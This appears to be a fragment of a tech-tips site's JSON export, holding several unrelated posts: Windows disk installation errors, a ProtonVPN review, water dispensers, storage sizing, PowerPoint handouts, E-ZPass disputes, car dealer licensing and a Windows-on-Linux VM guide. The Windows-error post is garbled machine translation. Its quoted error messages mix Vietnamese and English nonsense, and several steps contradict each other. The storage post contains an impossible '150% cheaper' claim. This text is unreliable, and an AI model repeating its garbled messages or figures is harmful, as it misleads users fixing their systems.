table. Simple drives are converted from the drive. there is basically no entry in the partition table, unless they are a system drive or boot disk before conversion. \"\nAccordingly, users can only install Windows on a dynamic volume, when the drive is a boot partition or system partition before being converted into dynamic volumes. In this situation, if you want to continue installing Windows, the best solution is to convert dynamic volume to a basic drive.\nSolutions 1. Convert dynamic volume to the basic drive to solve the problem\nNOTE : There are 3 ways to convert dynamic volume to a basic drive: Using MiniTool Partition Wizard, Disk Management and Diskpart utility. Note that the following two options require deleting all the current dynamic volumes, which means data loss.\nUse MiniTool Partition Wizard MiniTool Partition Wizard is a Windows-based partitioning tool that can help revert the dynamic volume to basic without losing data.\nHere are the detailed steps:\nStep 1 : Launch MiniTool Partition Wizard. Right-click the dynamic volume you want to convert and select \" Convert Dynamic Disk to Basic Disk \".\n  Step 2 : You can have a preview to see if this dynamic volume becomes the basic drive without losing data. At this point, click \"Apply\" to complete this transition.\n  NOTE : The free version does not support dynamic volumes, so buy a more advanced version or version for dynamic volumes to support.\nIn addition, if Windows cannot start normally, Partition Wizard Pro has a built-in tool - MiniTool Partition Wizard Bootable CD so that it can boot the computer without the Windows operating system.\nUse the Disk Management utility Go to Disk Management and then delete all drives (one by one), as introduced in error 1 above. After these steps, dynamic disk will automatically become basic.\nHowever, if Windows operating system is not installed, but you have a Windows installation CD or DVD, use Diskpart.\nUse Diskpart Step 1 : Start the computer through the installation disc and open CMD by clicking \" Shift + F10 \".\nStep 2 : Type the corresponding commands to delete all dynamic disks (one by one):\n\" diskpart -\u0026gt; list disk -\u0026gt; select disk N (N is the number of dynamic disks) -\u0026gt; detail disk -\u0026gt; select volume = 0 -\u0026gt; delete volume -\u0026gt; select volume = 1 -\u0026gt; delete volume . \"\nStep 3 : After all drives on dynamic disk are deleted, enter \" convert basic \". When Diskpart shows that it has converted to a selected dynamic disk, you can type \"Exit\" to exit Diskpart.\n  However, if you do not want to delete any drive because perhaps important data is stored in it, there is a solution that does not lose the data below.\nError 4: Windows Cannot Be Installed to This Disk. Máy chủ của Phần mềm May không hỗ trợ Bẩy này Another error message you may receive while installing Windows is:\n\"Windows không thể được cài đặt vào đĩa này. Máy phục vụ của thiết bị này không thể hỗ trợ gỡ bỏ đĩa này. Ensure bộ điều khiển của đĩa này được phép trong máy tính BIOS menu.\"\nReason In general, there are 2 possible reasons:\nThe Hard disk protection feature is turned on. SATA Controller mode (SATA control mode) has been set incorrectly (with incorrect drive mode, the drive cannot be used as usual). Solutions 1. Remove Hard disk protection\nFor the first case, please read the specifications or contact a salesperson to confirm if the Hard disk protection feature is enabled on the computer (if you do not configure this feature yourself) . If so, delete it by following the instructions.\n2. Change the SATA Controller mode\nFor the second situation, if you change the SATA Controller mode in the BIOS first, try bringing the BIOS back to the original settings. Different BIOSes provide different options to bring itself to the original settings, such as Restore Defaults (Default Restore), Load BIOS Defaults (Default BIOS Load ) and Load Optimal Defaults ( Optimal default Load) , so you should choose the right option, based on the actual situation.\nHowever, when this solution does not work, you must manually change the hard drive mode in the BIOS. If the current state is IDE, change it to AHCI. If the current mode is AHCI, please change it to IDE, etc. Actually, if there is Compatibility or Compatible mode , you have to choose this mode.\n  Furthermore, when you are installing the Data Center or Enterprise Server version of Windows Server 2008 / R2 or newer through a CD or DVD, you may experience the same error. This is because the default SAN policy while setting up new settings for Data Center or Enterprise SKUs is Offline Shared , applying Offline and Read Only properties to any drive on the same bus. shared, not considered a system drive or boot drive. RAW drives cannot be detected as system drives or boot disks, so they are applied Offline and Read Only properties. In addition, you cannot install Windows into this type of drive. To solve the problem, configure the default SAN policy to OnlineAll.\nError 5: Windows Cannot Be Installed to This Disk. The Disk May Fail Soon. Sometimes you may receive an error message after installing Windows:\n\"Windows không thể được cài đặt vào đĩa này. Garment thiết bị bị gỡ bỏ quá sau.\nReason When this error appears, it indicates that something may be wrong with the hard drive.\nSolutions 1. Backup and repair / replace hard drive\nAt this point, you must stop installing Windows, and then back up important data immediately in case the real drive has problems. Without too much data needed for backup, just copy and paste them into a safe place. However, if you want to back up all or a large amount of data on the drive, using third-party disk copying software to back up the entire hard drive can save you a lot of time. .\nTip : If Windows is not available for use, you may need a disk copy tool with boot capabilities, and MiniTool Partition Wizard for free Bootable CD can be a good choice in this case.\nWhen the backup process is done, check the status of the drive by running the diagnostic and repair tools that can be downloaded from the hard drive manufacturer's website or other professional download sites. If Windows does not boot, please download the ISO file and burn it to a CD or DVD on another computer, then perform a drive diagnosis via the boot disk.\nIf it detects that the hard drive has an error but cannot be repaired, replace the dead hard drive with a new hard drive. However, if it is under warranty, send it back to the manufacturer because they will repair that drive or give you a new one.\nError 6: Windows Cannot Be Installed To This Hard Disk Space, Windows Must Be Installed vào một định dạng Partition trong NTFS. When installing Windows on an old drive, you may receive an error saying that Windows cannot install into this hard drive space:\n\"Windows không thể được cài đặt vào đĩa đĩa cứng. Windows phải được cài đặt vào một định dạng phân vùng phân vùng trong NTFS.\"\nWhat causes this error?\nReason This is mainly due to the partition's incompatible file system installed with Windows. Microsoft states that Windows must be installed on a formatted partition in NTFS since Windows Vista.\nSolutions 1. Format the partition using the NTFS file system\nUse MiniTool Partition Wizard Remember that Windows will not allow you to format the current boot partition whether you switch to Disk Management or CMD. And if you don't have an operating system to use, formatting requires more effort. So to make things easier, you should use MiniTool Partition Wizard Bootable CD to deal with different situations. Follow these steps:\nStep 1 : On the toolbar of each paid Partition Wizard version, launch Bootable Media Builder to create a bootable CD / DVD or USB flash drive. Then install the boot computer from the means that can boot it and finally enter MiniTool Partition Wizard Bootable.\nTip: If you do not have a bootable media creator, you can upgrade to MiniTool Partition Wizard for an enhanced version.\nStep 2 : Click the partition to format and select \"Format Partition\" from the menu.\n  Step 3 : In the window that appears, select NTFS at the file system and then click \"OK\" to continue.\n  Step 4 : Go back to the main interface and click \"Apply\" to make this change.\nUse the Windows Installation Disk Alternatively, you can choose to format the partition during installation. When you see where you want to install Windows, click on the destination partition first and then click Drive Options (Advanced) to format it.\n2. Wipe the entire drive\nOne solution for Windows to install on a partition formatted in NTFS is to wipe the entire drive. You can also use MiniTool Partition Wizard Bootable CD to do this, then Windows will automatically create the partition during the installation.\nWhen you encounter one of the above 6 errors when installing Windows, hope the solutions in the article will be helpful to you. If they are proven useful, share it to help more people. If you have any questions, please leave comments in the comment section below.\nGood luck!\nSee more:\nHow to fix DefaultUser0 for installing Windows 10 April 2018 Update Fix the problem of not installing software on Windows Error handling cannot install updates and program settings ncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWVp7%2BwvoywoKecn6zAbq%2FAp6WorF2Xsm61zayrmqScmrFuwM5mmGacmai4\n","link":"/post/fix-the-error-windows-cannot-be-installed-to-a-disk/","section":"post","tags":null,"title":"Fix the error 'Windows Cannot Be Installed to a Disk'"},{"body":"Review ProtonVPN ProtonVPN comes with some pretty good built-in basic functions. The user interface looks very nice, allowing all information to be displayed on one screen. In addition to the free version, it also offers payment options. However, if you're a regular Internet user, just using the free version of ProtonVPN is enough.\nAdvantages and disadvantages Advantages\nGreat privacy and security There is no data limit The free version has many functions Works with Netflix US version Great mobile application P2P support Integrated Tor support Defect\nFewer servers (400) and locations compared to competitors Only people who pay for the top-end plan get full access to the server The free version doesn't work with Netflix Does not provide a way to find the fastest server Connection speed is a bit slow Beautifully designed and attractive with default dark theme The ProtonVPN app is very well designed, has a well-organized layout, and builds on a very easy-to-see dark theme. All the most important information is presented at a visual level, including whether you are connected to a VPN, the speed and traffic if connected, and a complete list of servers (400). you can connect.\nOne design problem is that most of the space in a desktop application is occupied by a map of the world. The problem is when you click or click on a server on the map, nothing happens. You have to wait for a label to pop up, then click on it to connect.\n  The service also works with Netflix, which includes US Netflix and Japanese Netflix, but that functionality is only available with a paid subscription.\nSlow performance and hard to find a fast server ProtonVPN won't win any competition for pure speed, and that's true. Best results are achieved when connecting to servers in the US, with a maximum downstream speed of 162Mbps.\nPerformance drops sharply when connecting to servers in other countries (connection speed drops to about 50Mbps when connecting to a Canadian server and even more when connecting to servers in Japan).\nDespite the reduced performance, you can still browse the web without difficulty. Connection speed dropped fast enough to stream videos on sites like CNN and YouTube.\nFeatures in ProtonVPN One-click connect: You only need one click to connect to the ProtonVPN server. That means you can connect to one of three servers with just one click. It will choose the best connection, based on the speed of your network. Profile Management: You can create a new profile with a custom name, server and country . This way, you can connect to a specific server at any time. Detailed usage report: You can check the amount of data used along with the time, download bandwidth, upload, and upload or download speed. Download ProtonVPN software here. Once downloaded, installed and launched this program, you will see the window shown below.\n  Here, you need to enter your username and password or create your ProtonVPN account. Once done, you will see the following window.\n  Here, you can choose the country, location, and server to which you want to connect to the website. Note that it will take about 30 seconds to connect.\nIf you want to create a profile, switch to the Profiles tab and click Create new Profile . Here, you can customize the profile as you like.\nThis VPN software doesn't have a lot of options and doesn't have many requirements. All you need to do is use the Auto connect option in Settings\u0026gt; General . This option will automatically connect to the VPN after the computer boots up.\nOne of the most important features that this VPN software offers is Kill Switch . This feature will hide your real IP address even if the VPN connection fails accidentally. This is also a must-have feature for any quality VPN.\nProtonVPN does not log in or monitor your Internet activity. Furthermore, it also integrates well with the Tor anonymity network. Besides, being a Swiss company software, it is protected by the strongest privacy laws.\nThe free version of this software has a few limitations. It only provides access to 3 countries. In other words, you can only choose 3 servers to connect to. Furthermore, you can only connect one device to the free user account.\nCurrently, the software is not limited by any bandwidth usage but its speed will be slower than the paid version. In addition to using regular anti-virus software, we believe that using VPN software is also a way to secure your computer.\nProtonVPN vpn service ncG1vNJzZmismaXArq3KnmWcp51kvbO706ilr6ieYrOzscRmrammXaiys8LInJxmrJiWwW6ty6WmsKtdrry2edOoZJ6mk6fGscCMsqauql2eu7Wx0aecrWWTpLuvscKtoKim\n","link":"/post/free-vpn-service-that-allows-you-to-encrypt-your-internet-connection/","section":"post","tags":null,"title":"free VPN service that allows you to encrypt your Internet connection"},{"body":"Hot and cold water dispenser and hot water dispenser are two devices commonly used to provide hot water to serve the daily living needs of many families. But which product should be selected between these two products? Let's go with Quantrimang to find the answer.\n  I. What is hot and cold water purifier? The hot and cold water dispenser has the same design as the normal hot and cold water plant. In addition to providing cold water and hot water, this product also has another function that is water purification. With this product line, you will not need to use a commercially available filtered water bottle that will be directly connected to the domestic water supply, providing many convenient uses.\n  Some outstanding models:\nHumero water heater HB-740 - Reference price: VND 14,500,000 Coway hot and cold water filter CHP-260L - Reference price: VND 16,200,000 Hot and cold water filter HB 840 - Reference price: VND 16,500,000 II. What is a hot water plant? Hot and cold water plants are a familiar device used in offices, agencies and families . Water plants will provide hot water, cool water from an input water source at the same time. to meet consumer demand.\n  Some outstanding models:\nFujiE WD1500E hot and cold water plant - Reference price: 1,950,000 VND Toshiba RWF-W1669BV hot and cold water plant - Reference price: 3,950,000 VND FujiE WD6000C hot and cold water plant - Reference price: 3,750,000 VND III. Should I buy hot and cold water plants or water dispenser? 1. Compare hot and cold water plants and water dispenser Criteria Hot and cold water dispenser Water dispenser Water source Used as a clean water source (can be drunk immediately) like a 20 liter bottled water bottle. - As a source of domestic water, it is directly put into the machine, through coarse filters to remove impurities (bacteria, dirt, metals .) and add some other good minerals. - No need to spend time paying attention to adding water because of direct water use. Average water temperature - Hot water: Can reach 90 to 94 degrees Celsius.\n- Cold water: Approximately 10 to 15 degrees C.\n- Hot water: Reach over 95 degrees C. - Cold water: Range of about 6 to 12 degrees C. Design type There is a removable water bottle, depending on the type of tree that the water can be placed on top, or mark on the product body . The product consists of many filter cores to create clean water and add the necessary minerals before producing cold or hot water. Price segment Average price from 2 to 4 million. Average prices range from 6 million to 10 million. Cost incurred Repeatedly replace the water bottle according to demand. Replace filter cartridge periodically. The level of preference Less favored because it must ensure clean water input. Preferably favored because it is quite suitable for water sources in Vietnam (many impurities, metal and safety is not high). 2. Which type should be chosen? Buy hot and cold water plants when:\nYour home water source is relatively stable (water is heavy and the concentration of heavy metals is not high), just want to find equipment with basic filtering capacity and hot water source - cold to use. Want to save costs. Should buy a hot and cold water filter when:\nYour water source is not guaranteed (well water, river water, water with high concentrations of metals .). You want to find a versatile device, both to ensure safety for drinking water, and to have hot and cold utilities. Families have young children, the elderly (immune system, poor digestion), need to pay careful attention to the source of drinking water. In addition to purifying water, you also want to add minerals to your body. There is a need to use water purifiers but not yet equipped. Based on the actual needs of each family, economic conditions and purpose of use you will be able to decide which product line to use. In fact, hot and cold water plants are still more commonly used. And to make it easier for you to choose, refer to some water samples below.\nIV. Top best hot and cold water plants today 1. Kangaroo hot water plant KG31 - Reference price: 1,690,000 VND Kangaroo KG31 uses electronic chip technology to help cool water quickly with a cooling time of 1 liter / hour, cold temperature from 8-15 degrees Celsius. Cooling capacity is 65W very power saving.\nKangaroo KG31 designed separate hot and cold taps. Electronic control panel easy to use. The back has a separate hot / cold switch.\n  Specifications:\nWarranty 12 months Brand: Vietnam Heating capacity: 500W Voltage source: 220V / 50Hz 2. Sunhouse SHD9601 hot water plant - Reference price: 839,000 VND Sunhouse SHD9601 hot water plant must be indispensable in every family or office. This is a product using the latest hot / cold technology to provide both hot water to make tea, drink coffee . again just bring you a cool glass of soft drinks quickly in hot summer days .\nSunhouse SHD9601 has 2 modes for hot and cold water. With hot temperatures 86 ° C - 94 ° C, help you easily brew coffee, make milk or make tea, cook noodles quickly and conveniently.\nIn addition, hot water plants also have screens and signal lights for hot and cold water intake for users to easily observe.\n  Specifications:\nWarranty 12 months Brand: Vietnam Heating capacity: 580W Cooling capacity: 75W 3. Hot water Kangaroo KG-33TN - Reference price: 1,169,000 VND Kangaroo KG33TN has a compact, luxurious design, easy to move. You can leave it on the table, and the kitchen shelf is also very convenient. The container is made of stainless steel material with high durability, limiting deposit and not producing toxic substances when used, so it is safe for users.\nKangaroo water KG33TN meets enough hot water for you to make tea, make noodles, make drinking water . anytime, much more convenient, helping save time and effort of the housewives.\nCooling system of water purifier is applied electronic chip technology to help water have a moderate coolness, ensuring safety for the health of your whole family. In addition, the entire water heater of hot and cold water plants is made of high-grade stainless steel 304, stainless, good quality, high durability, safety for users' health.\n  Specifications:\nWarranty 12 months Brand: Vietnam Voltage source: 220V Heating capacity: 500W Cooling capacity: 65W Thank you for following the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDAjJqlnWWTpLmledaaq56qXZm2tLzEp6qeql2Wu6V5x6irZq%2BRqbKzecOiqqmdnqiys3nWoaCcoF2ku6Z50qGmrqSUYq%2BmedSsnJ0%3D\n","link":"/post/hot-and-cold-water-dispenser-and-hot-water-dispenser-which-one-should-be-used/","section":"post","tags":null,"title":"Hot and cold water dispenser and hot water dispenser, which one should be used?"},{"body":"Do you need even more storage space for certain games and apps? Is more storage space really better? Let's find out right here.\nThe role of the hard drive Back to basics: The primary role of a hard drive is to store data. It could be photos, videos, files, apps, games, or anything else you keep on your device. The hard drive is also where you will install your device's operating system (OS). For example, Windows 11 will take up about 30GB of system memory space. In short, the hard drive is an integral part of any computer.\nIn general, the capacity of the hard drive will basically not affect the overall performance of the computer too much. However, it should be noted that leaving the hard drive in a nearly full state can cause some problems with the system. For example, if you're using a 250GB hard drive, we recommend leaving at least 10 to 15% of the storage space free. Even if your computer is running smoothly, you shouldn't fill up every last megabyte of your hard drive, as some applications and operating systems may sometimes require additional space to function properly.\nWhen buying a new hard drive, it's important to consider what you're going to use your computer for, as well as leave a small amount of free space to make sure the system stays up and running.\nHDD and SSD There are several different types of hard drives you should consider before you buy, including hard drives (HDDs) and solid state drives (SSDs). In particular, SSD has many different forms: SATA, M.2 and NVMe. Although each type of SSD has its own advantages and disadvantages, the main difference between HDD and SSD is very obvious, namely in the data transfer speed.\nBasically, SSD is faster than HDD. This makes them a good choice for installing operating systems and games. However, SSDs are also much more expensive, so you'll often find cheap laptop and desktop models that often use low-capacity HDDs or SSDs, mostly in the 120GB range.\nTry to take a simple example with two products SATA SSD and HDD from Western Digital. The 4TB HDD option ($65) will cost nearly 150% cheaper than the SSD version ($400) with the same capacity. To find an SSD at the same price as a 4TB hard drive, you have to sacrifice 3.5TB of space.\n  In many cases, people tend to mix and use 2 types of hard drives in their computers. For example, you can use the 120GB SSD to store the operating system and some of the most important applications. Add a secondary 120GB or 250GB SSD for game storage. And finally a 1TB HDD for music, photos, and other types of files. This way, you can get the most out of both types of hard drives in a smart, efficient way.\nHard drive space on laptops and desktops SATA SSD is faster than HDD but not as fast as M.2 PCIe. For everyday use and moderate gaming, a SATA SSD should be more than enough to store the data you need at an acceptable speed. SATA SSD hard drives are suitable for most desktop and laptop systems, and are also the most common type of hard drive you'll see when buying a new device. Typical consumer hard drives can range from 120GB to 4TB, but most laptops use only one hard drive, so you need to think twice before choosing the cheapest version. .\nThere are many cases where users just want to save a bit of initial cost and buy a laptop with only 120GB SSD, but this can be a mistake when it comes to long-term benefits. You will lose a large portion of that meager storage space to the operating system, and not much space left for other things. If the device doesn't have an extra hard drive slot, you'll quickly realize you're short on storage space. Therefore, at the present time, you should buy a laptop with at least 250GB of hard drive space.\nOn the other hand, desktop computers have convenient physical space to accommodate more hard drives. However, the number of hard drives your PC can hold depends on the motherboard in use. For example, Gigabyte's B550 Aorus Elite AX V2 has two M.2 connectors and four SATA 6Gb/s connectors, meaning this motherboard can support two M.2 SSDs and four SSDs or HDDs. This diversity is one of the reasons why desktops are always the first choice of gamers, 3D modeling professionals, and graphic designers in general.\n  How much hard drive space do you need? To determine how much hard drive space you need on your PC, you first need to determine what you're going to use the computer for. If you primarily store files, photos, and videos, you probably won't need more than 500GB of hard drive space. In fact, this may be redundant unless you want to stock up on high-resolution photos and videos.\nOn the other hand, gamers will need more storage space because most AAA games today require 100GB or more. For example, Call of Duty: Modern Warfare requires up to 175GB of storage. So if you only have a 250GB SSD, the game plus the OS will take up almost all of your available storage.\nWhile games will take up more space than most apps, you don't necessarily have to factor in every existing game in your library, as you'll usually only be playing a handful of games at a time. Therefore, a 1-2TB SSD will usually be enough for any gaming PC rig.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKasnKBdqMGwvsCgnGaroJawpnnDqJysZamkwrN5wqikqa2kmr9uusSemw%3D%3D\n","link":"/post/how-much-storage-space-does-your-computer-need/","section":"post","tags":null,"title":"How much storage space does your computer need?"},{"body":" Microsoft PowerPoint provides a variety of features for designing, formatting and printing handouts that correspond with the slides of a PowerPoint presentation. Including handouts of a PowerPoint presentation can provide an excellent form...\nMethod 1of 2:\nFormat a Handout for a PowerPoint Presentation  Choose a preformatted handout scheme for a PowerPoint handout. Open the View tab on the PowerPoint toolbar and click the Handout Master button located in the Presentation view group. Click the Themes button in the Edit Themes group and choose a theme from the selection available in the pull-down menu. Click the preferred theme to apply it to the Handout Master.   Select a preformatted color scheme for a PowerPoint handout. Confirm that the Handout Master view is selected and locate the Edit Theme group in the toolbar. Click the Colors button and click to select 1 of several preformatted color schemes visible in the pull-down menu.   Find a preformatted Effects theme. A number of preformatted effects themes can be applied to a set of Handouts. These effect themes include 3-D objects, gradients and background styles. Click the Effects button in the Edit Themes group to open the \"Built-in\" pull-down menu. Click on 1 of the available themes to apply it to the set of handouts.   Format the handout background. Choose 1 of the preformatted background options available. Confirm that Handout view is selected and click the Background Styles option located in the Background group on the toolbar. A number of preformatted background options will be visible in the pull-down menu. Click on a background style to apply it to the set of handouts.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmnp5q%2FsbvIp6tmoJGjsbDB0w%3D%3D\n","link":"/post/how-to-create-a-powerpoint-handout/","section":"post","tags":null,"title":"How to Create a Powerpoint Handout"},{"body":" New Jersey uses E-ZPass, an electronic toll collection system. If you have an E-ZPass tag, tolls are deducted from your prepaid account when you drive through the E-ZPass toll lane. It seems simple enough, but the system does make...\nMethod 1of 2:\nSubmitting Your Dispute  Ask for a waiver if it's your first violation. Call the Violation Processing Center at 1-973-368-1425 and provide your violation number to the representative. Explain that it's your first violation and request they waive the $50 administrative fee.[2] If you can get the fee waived, you'll only have to pay the toll. While this can be frustrating if you were sent the violation in error, it may take more time and effort than it would be worth simply to avoid paying $1.50.   Access your violation online. From the NJ E-ZPass website, you can enter the violation number on your notice along with your license tag number at https://www.ezpassnj.com/vector/violations/violationInquiry.do?locale=en_US\u0026amp;from=Home\u0026amp;btnLogin.x=1\u0026amp;formid=frmViol.[3] When you click \"view violation,\" it will pull up the violation and give you the option either to pay the violation or to submit a dispute. You can also manage your violations by logging into your online account and navigating to the violation page.   Mail documentation if you want a paper trail. Especially if you're getting repeated erroneous violations, you may want to submit your dispute in writing. Write a formal letter with details about the violation and your dispute. Attach any relevant documents as proof.[4] For example, if the photo shows a tag that doesn't match the tag on your vehicle, you could take a picture of your tag and submit the two photos to show the difference. Use the address for the E-ZPass Violations Processing Center: P.O. Box 4971, Trenton, NJ 08650. Make a copy of everything you send before you mail it. Use certified mail with return receipt requested so you know when your letter is received.   Request a new tag if your tag is more than 3 years old. Older tags may have a dead battery that causes them not to send a signal to the transponder. When this happens, your tag won't be read and the toll won't be deducted from your account.[5] Contact E-ZPass at 1-800-AUTO-TOLL and request a new tag. The operator will deduct the toll from your account and remove the violation from your record. You won't have to pay the additional $50 administrative fee.  Method 2of 2:\nUnderstanding the Violation  Read your violation notice carefully. It may be several weeks after the alleged violation occurs before you get a notice in the mail. The violation notice will state the specific location, date, and time that the violation was registered.[6] Violation notices are automatically generated. It could be that you received the notice in error. Check the photo taken and make sure the vehicle and tag number are yours.   Identify the specific violation. Most commonly, you'll receive a violation notice because your E-ZPass tag wasn't read. But you can also get a violation if your tag isn't mounted properly, or if you switched your tag to a different vehicle and didn't update your account.[7] For some of these violations, you can get the violation removed after you've updated your account or corrected the problem that led to the violation.   Review your itemized statement. For the first 6 months after you open an E-ZPass account, you'll receive a statement every month. From then on out, you'll get a statement every other month. Make sure there are no deductions from your account that are unfamiliar to you.[8] If you have a statement that covers the time period of the violation, look for a deduction with the same date, time, and location as the violation.   Verify your account status. If you received a violation notice alleging that your account had insufficient funds, there may be a hold or other problem with your account. Contact the E-ZPass service center at 1-888-288-6865 to verify that your account is in good standing.[9] You can also verify your account status online at the NJ E-ZPass website, www.ezpassnj.com.   Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL22wMRmmKdllVqSc3GXaVxyaKqlrrS%2FjK%2BgqKSRqbawuoyipWamlax6q7HRrJyy\n","link":"/post/how-to-dispute-an-e-zpass-violation-in-new-jersey/","section":"post","tags":null,"title":"How to Dispute an E‐ZPass Violation in New Jersey"},{"body":" Selling your old car is fairly straightforward: list it online or in a magazine and wait for a buyer. However, if you want to sell cars as a business, you need to secure a car dealer license. This can be a long process but it's essential...\nPart 1of 3:\nMaking Initial Inquiries  Know who requires a license. Before you begin making inquiries about obtaining a license you need to be sure that you know precisely who needs a license to operate. If you are just selling your old car, you don't need one. But, if you intend to sell cars as a business in any way, you do. As an indicator, note that if you don't have a license, it is illegal to do any of the following: Sell more than a certain number of vehicles registered to you in any 12 month period, depending on the state. Sell any vehicles at all that are not registered to you. Buy and sell any vehicles simply for the purpose of making a profit.[1] If you are in any doubt about your status, contact your local DMV.   Recognize the different licenses. Depending on what kind of cars you plan on selling, there are a few different types of licenses that you can apply for. This may affect the requirements for the license so be sure that you are clear about the nature of your business. There are dealer wholesale only licenses if you are seeking to only sell to other car dealers. There are auto broker (non-retail) licenses if you want to help retail customer's find cars from other dealerships[2]. There are also separate licenses for new vehicle dealerships, and old vehicle dealerships.[3]   Contact your state authority. Each state has certain requirements for becoming a car dealer, and you will need to become familiar with yours if you want to do this right. The requirements can vary significantly, so there's no shortcut to investigating the rules and application procedures for your state. For example, if you applying for a license in Pennsylvania you will need to complete at least five different applications, but if you applying in North Dakota you only need to do one.[4] Start by looking on the DMV website where you can easily access the information for each state.[5]   Get hold of all the application forms. Once you have accessed the appropriate forms, you can download them and begin the progress of reading through them and planning out your responses to all the questions. Before you actually start filling in the form you will need to have a very solid understanding of your proposed car dealership. Depending on the license, the forms will require you to give detailed information about aspects of the business, such as lot size, phone lines, office requirements, business hours, and filing systems.[6] Use the forms as a tool to help in the construction of a business plan that responds to the key points.  Part 2of 3:\nMeeting the License Requirements  Pass the background check. Before you do too much work on the application process, it's a good idea to be confident that you pass the background check that most states and most bonding companies will require. The tests will seek to determine whether you have not only a solid financial history, but also have no crimes in your past that might be a problem. The check isn't only concerned with past crimes, but also looks for examples of what the DMV call \"moral turpitude\" that might indicate somebody who wouldn't run an ethical dealership.[7] In California it's possible to file an abbreviated application in the first instance. Speak to your local DMV and consider doing this before going ahead with a full application if you think you may have trouble passing the check.[8]   Prepare a business plan. Writing up a business plan is an essential element in every business. If you are starting a new car dealership, it's crucial that you have a clear and well thought out business plan. You will need this to show your creditors and licensing authorities that you are serious and committed, and have good business sense. Your business plan should lay out your vision, goals and objectives for the company. It should be a product of detailed research into the market which has informed your business strategy . Be sure to include plenty of detail financial information about your projected returns and costs.[9] To get you started you can look-up basic car dealership business plans online.[10]   Obtain a business license. Before you can be a business of any kind, you will need to get your business license. Visit the U.S. Small Business Administration where you access information on rules and regulations, as well as on everything from how to name your business to how to get funding.[11]\n  Apply for a surety bond. You can usually get a quote from bond companies for free or for a small fee. You will have to have a good credit history, and your financial paperwork must be in order to be successful. If the quote is favorable, you can apply for a bond using the bonding company's form. You will have to provide information about your business and specify the amount of bonding needed. You will also have to sign a credit release agreement. Depending on your locality and circumstances, it may be possible to submit cash, a certificate of deposit made payable to the DMV, or a passport account assigned to the DMV, in lieu of a surety bond.[12]   Secure your retail location. An essential aspect of the application process is securing your retail site. You will need to submit a copy of a fully signed and authorized rental lease or proof of ownership.[13] There are a number of requirements for the site itself which will vary according to your location. But your site will need to comply to all the relevant local building codes, zoning and land-use ordinances depending on your dealership type. In general, you will need an exterior sign attached to the land or the building which clearly indicates the name and nature of the business. You will also need working telecommunications systems and a listed phone number. You will need adequate space to carry out all administrative and financial work.[14] You will likely have to include photographs of your site with your application.[15] You should be prepare to get the location approved by the DMV inspector.   Complete your DBA name statement. A DBA (doing business as) name is any name that is different from your own. For example, if you are called Sally Rose and you want to name your dealership \"Sally Rose's Autos\", you are not using a DBA name. But if you want to call it basically anything else, you are. \"Big Car Shop\", \"7th Street Autos\", anything that isn't your actual name is a DBA name. You need to register a fictitious name to get the fictitious name statement, and this can take a couple of weeks. This statement is required to be submitted along with your application.[16]   Determine if you need to file incorporation papers. In some cases you will be required to submit various incorporation papers together with your other application materials. In general, this will only apply if you are filing as a Corporation, Limited Liability Company, or a Limited Liability Partnership owned business.[17] If you are in any doubt, speak to an advisor at your local DMV who will be able to provide you with information specific to your case. The kind of documents you will be asked to submit include Articles of Incorporation, Corporate minutes, or other documents which identify the share holders, managers and officers.[18]  Part 3of 3:\nSubmitting the Application  Gather all the documentation. Once you have gone through all of the requirements you need to gather up your materials and make sure you haven't left anything out. Your state's DMV will most likely be able to provide you with a checklist so you can ensure that you haven't missed anything before you go ahead with the application.[19] Don't skip through final checks which could save you time and money in the long run. You can download some checklists online, but be sure you have information that is specific to your locality.[20]   Complete the forms. Once you have all the information and all the additional documentations you need to complete all the original application forms. It may be easier to do this after you have fulfilled all the other requirements as that process would have helped you gain a very clear picture of your business. Learning through gathering all the extra information will help demystify some of the application form questions which may be a bit baffling if you go into them immediately. Note that some forms will need be to notarized, or will require you to pay a fee. Be sure you have checked this out and fulfilled all the requirements in order to avoid wasting time.[21]   Now wait. Once you have submitted everything it is a waiting game. There is unfortunately no fixed amount of time it takes to process your application and again this is likely to vary from state to state. In California it is stated that the processing can take up to 120 days, so you have to be prepared for a bit of a wait.[22]\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqiecKaqWaclZa5pr6MpaCcnZ6osm7AzmaqnqScYrCivtI%3D\n","link":"/post/how-to-get-a-car-dealer-license-to-sell-cars/","section":"post","tags":null,"title":"How to Get a Car Dealer License to Sell Cars"},{"body":"Do you need to run Windows software in Linux? One of the typical answers is to install Windows in a virtual machine. If that sounds scary to you, don't worry too much. Here's a step-by-step guide to doing that.\nTo get started, you'll need the following:\nVirtual machine software Official Windows ISO (a bootable disk or USB) with a licensed Windows version PC or laptop supports virtualization (you will also need an external DVD drive if your laptop is ultrabook or you can create your own drive) Full system RAM The first two things are quite easy to prepare. It is rare to own a computer that does not install a Windows version, even if you are running Linux, but you will need a virtualized computer.\nVirtualization feature, if not enabled by default, can be enabled in the system BIOS. How to do this will depend on the hardware you are using. For best results, boot into your system BIOS and look for references to Intel VT (on Intel structured PC) or AMD-V (on a PC with an AMD CPU and motherboard).\nRegarding the system RAM, while you can perform some virtualization process on the old operating system with 4GB, you should start with 8GB for the best results. The laptop used for this tutorial has 12GB RAM.\nSet up Windows virtual machine in Linux Choose virtualization software Set up Windows in Oracle VirtualBox Install Windows on Linux Launch Windows and install the software! Choose virtualization software Before installing Windows, you need to decide on your favorite virtualization application. Three options are available for Linux:\n1. Oracle VirtualBox (free) - Probably the most popular choice and it is important for free. Oracle VirtualBox is released as open source software under the GNU public license, version 2.\n2. VMWare Player (free or $ 250) - This is the free version of the popular virtualization tool VMWare Workstation. VMWare Player is free for domestic users.\n3. QEMU (free) - Short for Quick Emulator, QEMU is capable of running multiple operating systems, including many rare and uncommon platforms.\nWhile QEMU is considered a premium option for Linux systems, users often want a quick and easy installation solution as possible. Of course, you can choose one of the options above, and for this tutorial, we will use Oracle VirtualBox.\nVirtualBox and VMware: Which virtual machine software is better? Install VirtualBox from the Software Center in Ubuntu or from the corresponding application on your Linux distribution. You can also use the command line. For systems based on Debian:\nsudo apt-get install virtualbox  Then install the VirtualBox guest utility:\nsudo apt-get install virtualbox-guest-dkms  This will help you move data between the server system (your Linux computer) and the guest system (your virtual Windows environment).\nSet up Windows in Oracle 